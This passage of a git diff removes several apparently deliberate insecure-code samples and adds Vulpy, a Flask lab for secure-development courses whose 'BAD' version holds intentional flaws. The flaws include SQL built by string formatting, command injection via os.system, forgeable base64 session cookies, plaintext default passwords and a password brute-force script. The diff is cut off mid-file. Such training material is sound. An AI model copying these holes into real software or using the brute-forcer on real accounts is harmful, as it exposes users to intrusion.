-import { AppModule } from 'src/AppModule';
-import helmet from 'helmet';
-import compression from 'compression';
-
-
-async function bootstrap() {
- const app = await NestFactory.create(AppModule);
- app.enableCors();
- app.use(helmet());
- app.use(compression());
- app.useGlobalPipes(new ValidationPipe());
- app.useGlobalInterceptors(new LoggingInterceptor());
- app.useGlobalFilters(new HttpExceptionFilter());
- setupSwagger(app);
- await app.listen(1000);
-}
-
-bootstrap();
\ No newline at end of file
diff --git a/javascript/next.js b/javascript/next.js
deleted file mode 100644
index 12cfdee..0000000
--- a/javascript/next.js
+++ /dev/null
@@ -1,39 +0,0 @@
-// server.js
-const { createServer } = require('http')
-const { parse } = require('url')
-const next = require('next')
-
-const hostname = 'localhost'
-// when using middleware `hostname` and `port` must be provided below
-const app = next({ dev: process.env.NODE_ENV !== 'production', hostname: 'localhost', port:5 })
-const handle = app.getRequestHandler()
-
-app.prepare().then(() => {
- createServer(async (req, res) => {
- try {
- // Be sure to pass `true` as the second argument to `url.parse`.
- // This tells it to parse the query portion of the URL.
- const parsedUrl = parse(req.url, true)
- const { pathname, query } = parsedUrl
-
- if (pathname === '/a') {
- await app.render(req, res, '/a', query)
- } else if (pathname === '/b') {
- await app.render(req, res, '/b', query)
- } else {
- await handle(req, res, parsedUrl)
- }
- } catch (err) {
- console.error('Error occurred handling', req.url, err)
- res.statusCode = 500
- res.end('internal server error')
- }
- })
- .once('error', (err) => {
- console.error(err)
- process.exit(1)
- })
- .listen(port, () => {
- console.log(`> Ready on http://localhost:${5}`)
- })
-})
\ No newline at end of file
diff --git a/main.py b/main.py
deleted file mode 100644
index 2e7b1c0..0000000
--- a/main.py
+++ /dev/null
@@ -1,61 +0,0 @@
-import os, stat
-from cryptography.hazmat.primitives.asymmetric import rsa, dsa
-from Crypto.PublicKey import DSA
-from socket import socket, AF_INET, SOCK_STREAM, SOCK_NONBLOCK
-
-# Set a file write by others.
-temp_file = "/tmp/foo.txt"
-os.chmod(temp_file, stat.S_IWOTH)
-
-with open(temp_file, 'r') as f:
- print(f)
-
-os.chmod("/tmp/foo.txt", stat.S_IXGRP)
-tar_file = '/file.tax*'
-os.system(tar_file)
-
-KEY_SIZE = 1024
-private_rsa_key = rsa.generate_private_key(
- public_exponent=65537,
- key_size=KEY_SIZE
-)
-
-private_dsa_key = dsa.generate_private_key(
- key_size=KEY_SIZE,
-)
-
-
-private_dsa_key_2 = DSA.generate(bits=KEY_SIZE)
-
-assert(private_dsa_key_2 == private_dsa_key)
-
-program = 'a = 5\nb=10\nprint("Sum =", a+b)'
-exec(program)
-
-
-def is_real_user(user="user123", password="Password1"):
- return True
-
-
-sock = socket(
- AF_INET,
- SOCK_STREAM | SOCK_NONBLOCK)
-
-# Bind the socket to the internet with a port number
-sock.bind(("::", 32007))
-
-
-def add_server_port(sg, server_name, port):
- server = _get_server(sg, server_name, port)
- if server is not None:
- return False
- set_port(port)
- return server
-
-add_server_port('security-group', 'server', 80)
-
-
-
-
-
-
diff --git a/python/django.py b/python/django.py
deleted file mode 100644
index 3beac97..0000000
--- a/python/django.py
+++ /dev/null
@@ -1,96 +0,0 @@
-import json
-from collections import OrderedDict
-
-from django.conf import settings
-try:
- from django.core import urlresolvers
-except ImportError:
- from django import urls as urlresolvers
-try:
- from django.urls.exceptions import NoReverseMatch
-except ImportError:
- from django.core.urlresolvers import NoReverseMatch
-from django.utils.html import format_html
-from django.utils.safestring import mark_safe
-
-MAX = 75
-
-
-class LogEntryAdminMixin(object):
-
- def created(self, obj):
- return obj.timestamp.strftime('%Y-%m-%d %H:%M:%S')
- created.short_description = 'Created'
-
- def user_url(self, obj):
- if obj.actor:
- app_label, model = settings.AUTH_USER_MODEL.split('.')
- viewname = 'admin:%s_%s_change' % (app_label, model.lower())
- try:
- link = urlresolvers.reverse(viewname, args=[obj.actor.id])
- except NoReverseMatch:
- return u'%s' % (obj.actor)
- return format_html(u'{}', link, obj.actor)
-
- return 'system'
- user_url.short_description = 'User'
-
- def msg_short(self, obj):
- if obj.action == 2:
- return '' # delete
- changes = json.loads(obj.changes)
- s = '' if len(changes) == 1 else 's'
- fields = ', '.join(changes.keys())
- if len(fields) > MAX:
- i = fields.rfind(' ', 0, MAX)
- fields = fields[:i] + ' ..'
- return '%d change%s: %s' % (len(changes), s, fields)
- msg_short.short_description = 'Changes'
-
- def msg(self, obj):
- if obj.action == 2:
- return '' # delete
- changes = json.loads(obj.changes)
- msg = '| # | Field | From | To |
'
- for i, field in enumerate(sorted(changes), 1):
- value = [i, field] + (['***', '***'] if field == 'password' else changes[field])
- msg += format_html('| {} | {} | {} | {} |
', *value)
-
- msg += '
'
- return mark_safe(msg)
- msg.short_description = 'Changes'
-
-
-class State(models.Model):
- name=models.CharField(max_length=150)
-
-class City(models.Model):
- name=models.CharField(max_length=150)
-
-class Student(models.Model):
- name=models.CharField(max_length=150)
- state_id=models.PositiveIntegerField()
- city_id=models.PositiveIntegerField()
- is_active = models.BooleanField(default=False)
-
-students = Student.objects.filter(
- is_active=True,
- ).extra(
- select={
- 'state':
- 'SELECT name FROM state WHERE '
- 'state.id = '
- 'testapp_student.state_id',
- 'city':
- 'SELECT name FROM city WHERE '
- 'city.id = '
- 'testapp_student.city_id',
- },
- )
-
-
-students_2 = Student.objects.extra(
- select=OrderedDict([('a', '%s'), ('b', '%s')]),
- select_params=('one', 'two'))
-
-Students_3 = Student.objects.extra(where=["foo='a' OR bar = 'a'", "baz = 'a'"])
\ No newline at end of file
diff --git a/python/flask.py b/python/flask.py
deleted file mode 100644
index c78931d..0000000
--- a/python/flask.py
+++ /dev/null
@@ -1,23 +0,0 @@
-import os
-from flask import Flask, request
-import bleach
-app = Flask(__name__)
-
-# curl -X GET "http://localhost:5000/tainted7/touch%20HELLO"
-@app.route("/tainted7/")
-def test_sources_7(something):
-
- os.system(request.remote_addr)
-
- return "foo"
-
-@app.route("/sanitized/")
-def test_sources_7(something):
- data = flask.request.args.get("key")
- sanitized_data = bleach.clean(data)
- os.system(sanitized_data)
-
- return "bar"
-
-if __name__ == "__main__":
- app.run(debug=True)
diff --git a/vulpython/.gitignore b/vulpython/.gitignore
new file mode 100644
index 0000000..ffa4acd
--- /dev/null
+++ b/vulpython/.gitignore
@@ -0,0 +1,4 @@
+*.swp
+*.pyc
+__pycache__
+*.sqlite
diff --git a/vulpython/.idea/.gitignore b/vulpython/.idea/.gitignore
new file mode 100644
index 0000000..26d3352
--- /dev/null
+++ b/vulpython/.idea/.gitignore
@@ -0,0 +1,3 @@
+# Default ignored files
+/shelf/
+/workspace.xml
diff --git a/vulpython/.idea/misc.xml b/vulpython/.idea/misc.xml
new file mode 100644
index 0000000..639900d
--- /dev/null
+++ b/vulpython/.idea/misc.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vulpython/.idea/modules.xml b/vulpython/.idea/modules.xml
new file mode 100644
index 0000000..1ce398d
--- /dev/null
+++ b/vulpython/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vulpython/.idea/vcs.xml b/vulpython/.idea/vcs.xml
new file mode 100644
index 0000000..35eb1dd
--- /dev/null
+++ b/vulpython/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vulpython/.idea/vulpython.iml b/vulpython/.idea/vulpython.iml
new file mode 100644
index 0000000..d6ebd48
--- /dev/null
+++ b/vulpython/.idea/vulpython.iml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vulpython/LICENSE b/vulpython/LICENSE
new file mode 100644
index 0000000..c20a155
--- /dev/null
+++ b/vulpython/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2019 Fabian Martinez Portantier
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/vulpython/README.rst b/vulpython/README.rst
new file mode 100644
index 0000000..b78a966
--- /dev/null
+++ b/vulpython/README.rst
@@ -0,0 +1,102 @@
+Vulpy - Web Application Security Lab
+====================================
+
+Vulpy is a web application developed in Python / Flask / SQLite that has two faces.
+
+**GOOD**: Tries to code with secure development best practices in mind.
+
+**BAD**: Tries to code like (possibly) you. :p
+
+Is developed has a laboratory for the following courses:
+
+Secure Development of Securetia (https://www.securetia.com/cursos.html)
+Secure Development of EducaciónIT (https://www.educacionit.com/curso-de-desarrollo-seguro)
+
+But you can use it has you want (MIT License)
+
+
+OWASP Application Security Verification Standard
+------------------------------------------------
+
+The "GOOD" version (not finished yet) will comply with the OWASP ASVS:
+
+https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project
+
+This will permit learn how to develop python code following the best security practices.
+
+
+
+Installation
+------------
+
+::
+
+ git clone https://github.com/fportantier/vulpy
+
+ cd vulpy
+
+ pip3 install --user -r requirements.txt
+
+
+Features
+--------
+
+- Login/Logout
+- Read posts from other users
+- Publish posts
+- Multi-Factor Authentication (MFA)
+- API for read and write posts
+- Content Security Policy
+- SSL/TLS Server
+
+
+Vulnerabilities
+---------------
+
+Some of the vulnerabilities present on the "BAD" version:
+
+- Cross-Site Scripting (XSS)
+- SQL Injection
+- Cross Site Request Forgery (CSRF)
+- Session Impersonation
+- Insecure Deserialization
+- Authentication Bruteforce
+- Authentication Bypass
+
+**Note:** The "GOOD" version (not finished yet) is supposed to don't have vulnerabilities, but I'm a human being, so...
+
+
+Database Initialization
+-----------------------
+
+Both, "BAD" and "GOOD" versions, requires an initialization of the database.
+
+This is done with the script "db_init.py" inside each of the directories (bad, and good).
+
+Each version has their own sqlite files for the users and posts.
+
+The execution of the script is, for example:
+
+::
+
+ cd bad
+ ./db_init.py
+
+
+Default Credentials
+-------------------
+
+After database initialization, three users are created:
+
+::
+
+ Username Password
+ -------- -----------
+ admin SuperSecret
+ elliot 123123123
+ tim 12345678
+
+
+You can login with any user, the application doesn't have a permissions system, so, the three have the same permissions.
+
+
diff --git a/vulpython/bad/.gitignore b/vulpython/bad/.gitignore
new file mode 100644
index 0000000..56f813c
--- /dev/null
+++ b/vulpython/bad/.gitignore
@@ -0,0 +1,91 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+*.swp
+*.sqlite
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+.hypothesis/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# IPython Notebook
+.ipynb_checkpoints
+
+# pyenv
+.python-version
+
+# celery beat schedule file
+celerybeat-schedule
+
+# dotenv
+.env
+
+# virtualenv
+venv/
+ENV/
+
+# Spyder project settings
+.spyderproject
+
+# Rope project settings
+.ropeproject
diff --git a/vulpython/bad/api_list.py b/vulpython/bad/api_list.py
new file mode 100644
index 0000000..9f56cd0
--- /dev/null
+++ b/vulpython/bad/api_list.py
@@ -0,0 +1,20 @@
+from pathlib import Path
+
+import click
+import requests
+
+@click.command()
+@click.argument('username')
+def cmd_api_client(username):
+
+ r = requests.get('http://127.0.1.1:5000/api/post/{}'.format(username))
+ if r.status_code != 200:
+ click.echo('Some error ocurred. Status Code: {}'.format(r.status_code))
+ print(r.text)
+ return False
+
+ print(r.text)
+
+
+if __name__ == '__main__':
+ cmd_api_client()
diff --git a/vulpython/bad/api_post.py b/vulpython/bad/api_post.py
new file mode 100644
index 0000000..f35e312
--- /dev/null
+++ b/vulpython/bad/api_post.py
@@ -0,0 +1,35 @@
+from pathlib import Path
+
+import click
+import requests
+
+api_key_file = Path('/tmp/supersecret.txt')
+
+@click.command()
+@click.argument('message')
+def cmd_api_client(message):
+ if not api_key_file.exists():
+
+ username = click.prompt('Username')
+ password = click.prompt('Password', hide_input=True)
+
+ r = requests.post('http://127.0.1.1:5000/api/key', json={'username':username, 'password':password})
+
+ if r.status_code != 200:
+ click.echo('Invalid authentication or other error ocurred. Status code: {}'.format(r.status_code))
+ return False
+
+
+ api_key = r.json()['key']
+ print('Received key:', api_key)
+
+ with api_key_file.open('w') as outfile:
+ outfile.write(api_key)
+
+ api_key = api_key_file.open().read()
+ r = requests.post('http://127.0.1.1:5000/api/post', json={'text':message}, headers={'X-APIKEY': api_key})
+ print(r.text)
+
+
+if __name__ == '__main__':
+ cmd_api_client()
diff --git a/vulpython/bad/brute.py b/vulpython/bad/brute.py
new file mode 100755
index 0000000..55578e1
--- /dev/null
+++ b/vulpython/bad/brute.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python3
+
+import subprocess
+import sys
+
+program = sys.argv[1]
+username = sys.argv[2]
+
+passwords = [
+ '1',
+ '12',
+ '123',
+ '1234',
+ '12345',
+ '123456',
+ '12345678',
+ '123123123',
+]
+
+for password in passwords:
+ result = subprocess.run([program, username, password], stdout=subprocess.DEVNULL)
+ if result.returncode == 0:
+ print("cracked! user: {} password: {}".format(username, password))
+ break
+
diff --git a/vulpython/bad/csp.txt b/vulpython/bad/csp.txt
new file mode 100644
index 0000000..f541197
--- /dev/null
+++ b/vulpython/bad/csp.txt
@@ -0,0 +1,20 @@
+#default-src 'none';
+
+#script-src 'self'
+#script-src 'self' 'unsafe-inline'
+#script-src 'self' 'unsafe-inline' https://apis.google.com
+#script-src 'self' 'nonce-4AEemGb0xJptoIGFP3Nd';
+#script-src 'self' 'sha256-i5I5KydQz/hllPGo5Z3sBewXRIP0ORzyjDZzHOGW5MQ='
+
+#connect-src 'self';
+#connect-src 'self' https://*.ipify.org;
+
+#img-src 'self' ;
+#img-src 'self' https://www.python.org;
+
+#style-src 'self';
+#style-src 'self' 'unsafe-inline';
+
+#style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
+#font-src https://fonts.gstatic.com;
+
diff --git a/vulpython/bad/db.py b/vulpython/bad/db.py
new file mode 100644
index 0000000..51343f6
--- /dev/null
+++ b/vulpython/bad/db.py
@@ -0,0 +1,27 @@
+
+import sqlite3
+from passlib.hash import pbkdf2_sha256
+
+def db_init():
+
+ users = [
+ ('admin', pbkdf2_sha256.encrypt('123456')),
+ ('john', pbkdf2_sha256.encrypt('Password')),
+ ('tim', pbkdf2_sha256.encrypt('Vaider2'))
+ ]
+
+ conn = sqlite3.connect('users.sqlite')
+ c = conn.cursor()
+ c.execute("DROP TABLE users")
+ c.execute("CREATE TABLE users (user text, password text, failures int)")
+
+ for u,p in users:
+ c.execute("INSERT INTO users (user, password, failures) VALUES ('%s', '%s', '%d')" %(u, p, 0))
+
+ conn.commit()
+ conn.close()
+
+
+if __name__ == '__main__':
+ db_init()
+
diff --git a/vulpython/bad/db_init.py b/vulpython/bad/db_init.py
new file mode 100755
index 0000000..3cff71a
--- /dev/null
+++ b/vulpython/bad/db_init.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python3
+
+import os
+import sqlite3
+
+
+def db_init_users():
+
+ users = [
+ ('admin', 'SuperSecret'),
+ ('elliot', '123123123'),
+ ('tim', '12345678')
+ ]
+
+ conn = sqlite3.connect('db_users.sqlite')
+ c = conn.cursor()
+ c.execute("CREATE TABLE users (username text, password text, failures int, mfa_enabled int, mfa_secret text)")
+
+ for u,p in users:
+ c.execute("INSERT INTO users (username, password, failures, mfa_enabled, mfa_secret) VALUES ('%s', '%s', '%d', '%d', '%s')" %(u, p, 0, 0, ''))
+
+ conn.commit()
+ conn.close()
+
+
+def db_init_posts():
+
+ conn = sqlite3.connect('db_posts.sqlite')
+ c = conn.cursor()
+ c.execute("CREATE TABLE posts (date date, username text, text text)")
+
+ conn.commit()
+ conn.close()
+
+
+if __name__ == '__main__':
+
+ try:
+ os.remove('db_users.sqlite')
+ except FileNotFoundError:
+ pass
+
+ try:
+ os.remove('db_posts.sqlite')
+ except FileNotFoundError:
+ pass
+
+ db_init_users()
+ db_init_posts()
+
diff --git a/vulpython/bad/libapi.py b/vulpython/bad/libapi.py
new file mode 100644
index 0000000..fba6333
--- /dev/null
+++ b/vulpython/bad/libapi.py
@@ -0,0 +1,37 @@
+import libuser
+import random
+import hashlib
+
+from pathlib import Path
+
+
+def keygen(username, password=None):
+
+ if password:
+ if not libuser.login(username, password):
+ return None
+
+ key = hashlib.sha256(str(random.getrandbits(2048)).encode()).hexdigest()
+
+ for f in Path('/tmp/').glob('vulpy.apikey.' + username + '.*'):
+ print('removing', f)
+ f.unlink()
+
+ keyfile = '/tmp/vulpy.apikey.{}.{}'.format(username, key)
+
+ Path(keyfile).touch()
+
+ return key
+
+
+def authenticate(request):
+ if 'X-APIKEY' not in request.headers:
+ return None
+
+ key = request.headers['X-APIKEY']
+
+ for f in Path('/tmp/').glob('vulpy.apikey.*.' + key):
+ return f.name.split('.')[2]
+
+ return None
+
diff --git a/vulpython/bad/libmfa.py b/vulpython/bad/libmfa.py
new file mode 100644
index 0000000..0852cfb
--- /dev/null
+++ b/vulpython/bad/libmfa.py
@@ -0,0 +1,96 @@
+import pyotp
+import sqlite3
+from time import sleep
+
+def mfa_is_enabled(username):
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ user = c.execute("SELECT * FROM users WHERE username = ? and mfa_enabled = 1", (username, )).fetchone()
+
+ if user:
+ return True
+ else:
+ return False
+
+
+def mfa_disable(username):
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ c.execute("UPDATE users SET mfa_enabled = 0 WHERE username = ?", (username,))
+ conn.commit()
+
+ return True
+
+
+def mfa_enable(username):
+
+ #secret=pyotp.random_base32()
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ #c.execute("UPDATE users SET mfa = ? WHERE username = ?", (secret, username,))
+ c.execute("UPDATE users SET mfa_enabled = 1 WHERE username = ?", (username,))
+ conn.commit()
+
+ return True
+
+
+def mfa_get_secret(username):
+
+ #secret=pyotp.random_base32()
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ #c.execute("UPDATE users SET mfa = ? WHERE username = ?", (secret, username,))
+ user = c.execute("SELECT * FROM users WHERE username = ?", (username, )).fetchone()
+
+ if user:
+ return user['mfa_secret'] #True
+ else:
+ return False
+
+
+def mfa_reset_secret(username):
+
+ secret=pyotp.random_base32()
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ #c.execute("UPDATE users SET mfa = ? WHERE username = ?", (secret, username,))
+ #user = c.execute("SELECT * FROM users WHERE username = ?", (username, )).fetchone()
+ c.execute("UPDATE users SET mfa_secret = ? WHERE username = ?", (secret, username))
+ conn.commit()
+
+ #if user:
+ # return user['mfa_secret'] #True
+ #else:
+ return False
+
+
+def mfa_validate(username, otp):
+
+ secret = mfa_get_secret(username)
+ totp = pyotp.TOTP(secret)
+
+ if secret and totp.verify(otp):
+ return True
+ else:
+ return False
+
diff --git a/vulpython/bad/libposts.py b/vulpython/bad/libposts.py
new file mode 100644
index 0000000..68f84f8
--- /dev/null
+++ b/vulpython/bad/libposts.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+
+import sys
+import sqlite3
+
+
+def get_posts(username):
+
+ conn = sqlite3.connect('db_posts.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ rows = c.execute("SELECT * FROM posts WHERE username = ? ORDER BY date DESC", (username,)).fetchall()
+
+ posts = [ dict(zip(row.keys(), row)) for row in rows ]
+
+ return posts
+
+
+def post(username, text):
+
+ conn = sqlite3.connect('db_posts.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ rows = c.execute("INSERT INTO posts (username, text, date) VALUES (?, ?, DateTime('now'))", (username, text)) #WHERE username = ?", (username,)).fetchall()
+ conn.commit()
+
+ return True
+
+
diff --git a/vulpython/bad/libsession.py b/vulpython/bad/libsession.py
new file mode 100644
index 0000000..54581a4
--- /dev/null
+++ b/vulpython/bad/libsession.py
@@ -0,0 +1,30 @@
+import json
+import base64
+
+
+def create(response, username):
+ session = base64.b64encode(json.dumps({'username': username}).encode())
+ response.set_cookie('vulpy_session', session)
+ return response
+
+
+def load(request):
+
+ session = {}
+ cookie = request.cookies.get('vulpy_session')
+
+ try:
+ if cookie:
+ decoded = base64.b64decode(cookie.encode())
+ if decoded:
+ session = json.loads(base64.b64decode(cookie))
+ except Exception:
+ pass
+
+ return session
+
+
+def destroy(response):
+ response.set_cookie('vulpy_session', '', expires=0)
+ return response
+
diff --git a/vulpython/bad/libuser.py b/vulpython/bad/libuser.py
new file mode 100644
index 0000000..1c954a6
--- /dev/null
+++ b/vulpython/bad/libuser.py
@@ -0,0 +1,61 @@
+import sqlite3
+import libuser
+
+
+def login(username, password):
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ user = c.execute("SELECT * FROM users WHERE username = '{}' and password = '{}'".format(username, password)).fetchone()
+
+ if user:
+ return user['username']
+ else:
+ return False
+
+
+def create(username, password):
+
+ conn = sqlite3.connect('db_users.sqlite')
+ c = conn.cursor()
+
+ c.execute("INSERT INTO users (username, password, failures, mfa_enabled, mfa_secret) VALUES ('%s', '%s', '%d', '%d', '%s')" %(username, password, 0, 0, ''))
+
+ conn.commit()
+ conn.close()
+
+
+def userlist():
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ users = c.execute("SELECT * FROM users").fetchall()
+
+ if not users:
+ return []
+ else:
+ return [ user['username'] for user in users ]
+
+
+def password_change(username, password):
+
+ conn = sqlite3.connect('db_users.sqlite')
+ conn.set_trace_callback(print)
+ conn.row_factory = sqlite3.Row
+ c = conn.cursor()
+
+ c.execute("UPDATE users SET password = '{}' WHERE username = '{}'".format(password, username))
+ conn.commit()
+
+ return True
+
+
+def password_complexity(password):
+ return True
+
diff --git a/vulpython/bad/mod_api.py b/vulpython/bad/mod_api.py
new file mode 100644
index 0000000..1f096fa
--- /dev/null
+++ b/vulpython/bad/mod_api.py
@@ -0,0 +1,72 @@
+from flask import Blueprint, render_template, redirect, request, g, session, make_response, flash, jsonify
+import libuser
+import libsession
+import libposts
+import libapi
+from jsonschema import validate, ValidationError
+
+
+mod_api = Blueprint('mod_api', __name__, template_folder='templates')
+
+key_schema = {
+ "type" : "object",
+ "required": [ "username", "password" ],
+ "properties" : {
+ "username" : {"type" : "string"},
+ "password" : {"type" : "string"},
+ },
+}
+
+
+post_schema = {
+ "type" : "object",
+ "required": [ "text" ],
+ "properties" : {
+ "text" : {"type" : "string"},
+ },
+}
+
+
+@mod_api.route('/key', methods=['POST'])
+def do_key_create():
+ data = request.get_json()
+
+ try:
+ validate(data, key_schema)
+ except ValidationError:
+ return jsonify({'error': 'invalid schema', 'schema': key_schema}), 400
+
+ key = libapi.keygen(data['username'], data['password'])
+
+ if key:
+ return jsonify({'key': key}), 200
+ else:
+ return jsonify({'error': 'invalid login'}), 403
+
+
+@mod_api.route('/post/', methods=['GET'])
+def do_post_list(username):
+ posts = libposts.get_posts(username)
+
+ return jsonify(posts)
+
+
+@mod_api.route('/post', methods=['POST'])
+def do_post_create():
+
+ data = { 'username' : libapi.authenticate(request) }
+
+ if not data['username']:
+ return jsonify({'error': 'invalid authentication'}), 401
+
+ data.update(request.get_json())
+
+ try:
+ validate(data, post_schema)
+ except ValidationError:
+ return jsonify({'error': 'invalid schema', 'schema': post_schema}), 400
+
+ libposts.post(data['username'], data['text'])
+ return "You are awesome! Post created."
+
+
diff --git a/vulpython/bad/mod_csp.py b/vulpython/bad/mod_csp.py
new file mode 100644
index 0000000..67c7eb2
--- /dev/null
+++ b/vulpython/bad/mod_csp.py
@@ -0,0 +1,8 @@
+from flask import Blueprint, render_template
+
+mod_csp = Blueprint('mod_csp', __name__, template_folder='templates')
+
+
+@mod_csp.route('/', methods=['GET'])
+def do_main():
+ return render_template('csp.html')
diff --git a/vulpython/bad/mod_hello.py b/vulpython/bad/mod_hello.py
new file mode 100644
index 0000000..126af98
--- /dev/null
+++ b/vulpython/bad/mod_hello.py
@@ -0,0 +1,8 @@
+from flask import Blueprint, render_template, redirect
+
+mod_hello = Blueprint('mod_hello', __name__, template_folder='templates')
+
+@mod_hello.route('/')
+def do_hello():
+ return 'hello :)'
+
diff --git a/vulpython/bad/mod_mfa.py b/vulpython/bad/mod_mfa.py
new file mode 100644
index 0000000..19fd705
--- /dev/null
+++ b/vulpython/bad/mod_mfa.py
@@ -0,0 +1,64 @@
+
+import base64
+from io import BytesIO
+
+import pyotp
+import qrcode
+from flask import Blueprint, flash, g, redirect, render_template, request
+
+import libmfa
+
+mod_mfa = Blueprint('mod_mfa', __name__, template_folder='templates')
+
+
+@mod_mfa.route('/', methods=['GET'])
+def do_mfa_view():
+
+ if 'username' not in g.session:
+ return redirect('/user/login')
+
+ if libmfa.mfa_is_enabled(g.session['username']):
+ return render_template('mfa.disable.html')
+ else:
+ libmfa.mfa_reset_secret(g.session['username'])
+ secret = libmfa.mfa_get_secret(g.session['username'])
+ secret_url = pyotp.totp.TOTP(secret).provisioning_uri(g.session['username'], issuer_name="Vulpy")
+ img = qrcode.make(secret_url)
+
+ buffered = BytesIO()
+ img.save(buffered, format="PNG")
+ img_str = base64.b64encode(buffered.getvalue()).decode()
+
+ return render_template('mfa.enable.html', secret_url=secret_url, img_str=img_str)
+
+
+@mod_mfa.route('/', methods=['POST'])
+def do_mfa_enable():
+
+ if 'username' not in g.session:
+ return redirect('/user/login')
+
+ secret = libmfa.mfa_get_secret(g.session['username'])
+
+ otp = request.form.get('otp')
+
+ totp = pyotp.TOTP(secret)
+
+ if totp.verify(otp):
+ libmfa.mfa_enable(g.session['username'])
+ return redirect('/mfa/')
+ else:
+ flash("The OTP was incorrect")
+ return redirect('/mfa/')
+
+ return render_template('mfa.enable.html')
+
+
+@mod_mfa.route('/disable', methods=['GET'])
+def do_mfa_disable():
+
+ if 'username' not in g.session:
+ return redirect('/user/login')
+
+ libmfa.mfa_disable(g.session['username'])
+ return redirect('/mfa/')
diff --git a/vulpython/bad/mod_posts.py b/vulpython/bad/mod_posts.py
new file mode 100644
index 0000000..804ba0c
--- /dev/null
+++ b/vulpython/bad/mod_posts.py
@@ -0,0 +1,38 @@
+import sqlite3
+from flask import Blueprint, render_template, redirect, request, g
+
+import libposts
+import libuser
+
+mod_posts = Blueprint('mod_posts', __name__, template_folder='templates')
+
+
+@mod_posts.route('/')
+@mod_posts.route('/')
+def do_view(username=None):
+
+ if not username:
+ if 'username' in g.session:
+ username = g.session['username']
+
+ posts = libposts.get_posts(username)
+ users = libuser.userlist()
+
+ return render_template('posts.view.html', posts=posts, username=username, users=users)
+
+
+@mod_posts.route('/', methods=['POST'])
+def do_create():
+
+ if 'username' not in g.session:
+ return redirect('/user/login')
+
+ if request.method == 'POST':
+
+ username = g.session['username']
+ text = request.form.get('text')
+
+ libposts.post(username, text)
+
+ return redirect('/')
+
diff --git a/vulpython/bad/mod_user.py b/vulpython/bad/mod_user.py
new file mode 100644
index 0000000..300dd90
--- /dev/null
+++ b/vulpython/bad/mod_user.py
@@ -0,0 +1,84 @@
+from flask import Blueprint, render_template, redirect, request, g, session, make_response, flash
+import libmfa
+import libuser
+import libsession
+
+mod_user = Blueprint('mod_user', __name__, template_folder='templates')
+
+
+@mod_user.route('/login', methods=['GET', 'POST'])
+def do_login():
+
+ session.pop('username', None)
+
+ if request.method == 'POST':
+
+ username = request.form.get('username')
+ password = request.form.get('password')
+ otp = request.form.get('otp')
+
+ username = libuser.login(username, password)
+
+ if not username:
+ flash("Invalid user or password");
+ return render_template('user.login.mfa.html')
+
+ if libmfa.mfa_is_enabled(username):
+ if not libmfa.mfa_validate(username, otp):
+ flash("Invalid OTP");
